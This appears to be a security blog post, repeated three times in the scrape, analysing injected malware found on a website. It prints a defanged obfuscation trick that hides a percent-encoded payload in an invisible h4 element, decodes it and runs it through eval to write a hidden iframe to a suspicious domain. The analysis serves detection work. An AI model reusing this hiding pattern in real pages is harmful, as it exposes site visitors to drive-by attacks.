An Interesting Sample of Malware
This afternoon, a post on Badwarebusters.org reminded me of a somewhat interesting piece of malicious code I have not seen for some time. Our scanners flagged it as malware.
The original post is found here , answered by redleg on Badwarebusters.org.
This malware, found embedded in “eslpod.com/website/index.php”, is displayed below. The code has been slightly modified so as not to work as intended if loaded up and run in a browser.
1<h4 id="Fl" style="display:none;">%64%6f%63%75%6d%65%6e%74%2e%77%72%74%65%28%22%3c%69%66%72%61%6d%65%20%73%72%63%3d%5c%22%68%74%74%70%3a%2f%2f%74%72%61%66%2e%74%72%61%6e%73%63%6f%6e%74%69%6e%65%6e%74%61%6c%2d%73%65%72%76%69%63%65%2e%67%2f%69%6e%64%65%78%2e%70%68%70%5c%22%20%73%74%79%6c%65%3d%5c%22%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%5c%22%3e%3c%2f%69%66%72%61%6d%65%3e%22%29%3b</h4>
2
3<script>
4ar aK=docume nt.getElem entById("Fl"), A x=ev al;
5aK = aK.inne rHTML;
6Ax(unescape(aK));
7</script>
It is interesting to see how hackers are trying out new tricks to fool scanning systems. Most code-injection attacks deliver the payload directly within the script tags. Here, the case is slightly different. The individual has attempted to disguise the malicious payload as a simple web element inside the page by using Javascript and the getElementById function. The code then proceeds to execute the malicious payload.
The payload by itself is not so interesting. It has been known to appear in different variants before this particular example.
The payload is displayed below:
1document.wri te("<ifra me src=\"hxxp://traff.tr anscon tin enta l-serv ice.org/i n dex.php\" style=\"dis play:none;\"></ifr me>");
The iframe referred to here refers to the following:
01<!--LiveInternet counter-->
02<script t ype="text/javascript">
03<!--
04document.write("<a href='hxxp://www.li veinte rnet.ru/click' "+
05"target=_blank><img src='hxxp://cou nter.yad ro.ru/hit?t52.6;r"+
06escape(document.referrer)+((typeof(screen)=="undefined")?"":
07";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
08screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
09";"+Math.random()+"' alt='' title='LiveInternet: ïîêàçàíî ÷èñëî ïðîñìîòðîâ è"+
10" ïîñåòèòåëåé çà 24 ÷àñà' "+"border='0' width='88' height='31'><\/a>")
11//-->
12</script>
13<!--/LiveInternet-->
This snippet should be flagged by many scanning services simply because of the reputation of the sites mentioned inside it (see Malware Patrol).
This afternoon, a post on Badwarebusters.org reminded me of a somewhat interesting piece of malicious code I have not seen for some time. Our scanners flagged it as malware.
The original post is found here , answered by redleg on Badwarebusters.org.
This malware, found embedded in “eslpod.com/website/index.php”, is displayed below. The code has been slightly modified so as not to work as intended if loaded up and run in a browser.
1 | <h4 id="Fl" style="display:none;">%64%6f%63%75%6d%65%6e%74%2e%77%72%74%65%28%22%3c%69%66%72%61%6d%65%20%73%72%63%3d%5c%22%68%74%74%70%3a%2f%2f%74%72%61%66%2e%74%72%61%6e%73%63%6f%6e%74%69%6e%65%6e%74%61%6c%2d%73%65%72%76%69%63%65%2e%67%2f%69%6e%64%65%78%2e%70%68%70%5c%22%20%73%74%79%6c%65%3d%5c%22%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%5c%22%3e%3c%2f%69%66%72%61%6d%65%3e%22%29%3b</h4> |
2 |
3 | <script> |
4 | ar aK=docume nt.getElem entById("Fl"), A x=ev al; |
5 | aK = aK.inne rHTML; |
6 | Ax(unescape(aK)); |
7 | </script> |
It is interesting to see how hackers are trying out new tricks to fool scanning systems. Most code-injection attacks deliver the payload directly within the script tags. Here, the case is slightly different. The individual has attempted to disguise the malicious payload as a simple web element inside the page by using Javascript and the getElementById function. The code then proceeds to execute the malicious payload.
The payload by itself is not so interesting. It has been known to appear in different variants before this particular example.
The payload is displayed below:
1 | document.wri te("<ifra me src=\"hxxp://traff.tr anscon tin enta l-serv ice.org/i n dex.php\" style=\"dis play:none;\"></ifr me>"); |
The iframe referred to here refers to the following:
01 | <!--LiveInternet counter--> |
02 | <script t ype="text/javascript"> |
03 | <!-- |
04 | document.write("<a href='hxxp://www.li veinte rnet.ru/click' "+ |
05 | "target=_blank><img src='hxxp://cou nter.yad ro.ru/hit?t52.6;r"+ |
06 | escape(document.referrer)+((typeof(screen)=="undefined")?"": |
07 | ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? |
08 | screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+ |
09 | ";"+Math.random()+"' alt='' title='LiveInternet: ïîêàçàíî ÷èñëî ïðîñìîòðîâ è"+ |
10 | " ïîñåòèòåëåé çà 24 ÷àñà' "+"border='0' width='88' height='31'><\/a>") |
11 | //--> |
12 | </script> |
13 | <!--/LiveInternet--> |
This snippet should be flagged by many scanning services simply because of the reputation of the sites mentioned inside it (see Malware Patrol).
This afternoon, a post on Badwarebusters.org reminded me of a somewhat interesting piece of malicious code I have not seen for some time. Our scanners flagged it as malware.
The original post is found here , answered by redleg on Badwarebusters.org.
This malware, found embedded in “eslpod.com/website/index.php”, is displayed below. The code has been slightly modified so as not to work as intended if loaded up and run in a browser.
1 | <h4 id="Fl" style="display:none;">%64%6f%63%75%6d%65%6e%74%2e%77%72%74%65%28%22%3c%69%66%72%61%6d%65%20%73%72%63%3d%5c%22%68%74%74%70%3a%2f%2f%74%72%61%66%2e%74%72%61%6e%73%63%6f%6e%74%69%6e%65%6e%74%61%6c%2d%73%65%72%76%69%63%65%2e%67%2f%69%6e%64%65%78%2e%70%68%70%5c%22%20%73%74%79%6c%65%3d%5c%22%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%5c%22%3e%3c%2f%69%66%72%61%6d%65%3e%22%29%3b</h4> |
2 |
3 | <script> |
4 | ar aK=docume nt.getElem entById("Fl"), A x=ev al; |
5 | aK = aK.inne rHTML; |
6 | Ax(unescape(aK)); |
7 | </script> |
It is interesting to see how hackers are trying out new tricks to fool scanning systems. Most code-injection attacks deliver the payload directly within the script tags. Here, the case is slightly different. The individual has attempted to disguise the malicious payload as a simple web element inside the page by using Javascript and the getElementById function. The code then proceeds to execute the malicious payload.
The payload by itself is not so interesting. It has been known to appear in different variants before this particular example.
The payload is displayed below:
1 | document.wri te("<ifra me src=\"hxxp://traff.tr anscon tin enta l-serv ice.org/i n dex.php\" style=\"dis play:none;\"></ifr me>"); |
The iframe referred to here refers to the following:
01 | <!--LiveInternet counter--> |
02 | <script t ype="text/javascript"> |
03 | <!-- |
04 | document.write("<a href='hxxp://www.li veinte rnet.ru/click' "+ |
05 | "target=_blank><img src='hxxp://cou nter.yad ro.ru/hit?t52.6;r"+ |
06 | escape(document.referrer)+((typeof(screen)=="undefined")?"": |
07 | ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? |
08 | screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+ |
09 | ";"+Math.random()+"' alt='' title='LiveInternet: ïîêàçàíî ÷èñëî ïðîñìîòðîâ è"+ |
10 | " ïîñåòèòåëåé çà 24 ÷àñà' "+"border='0' width='88' height='31'><\/a>") |
11 | //--> |
12 | </script> |
13 | <!--/LiveInternet--> |
This snippet should be flagged by many scanning services simply because of the reputation of the sites mentioned inside it (see Malware Patrol).
Comments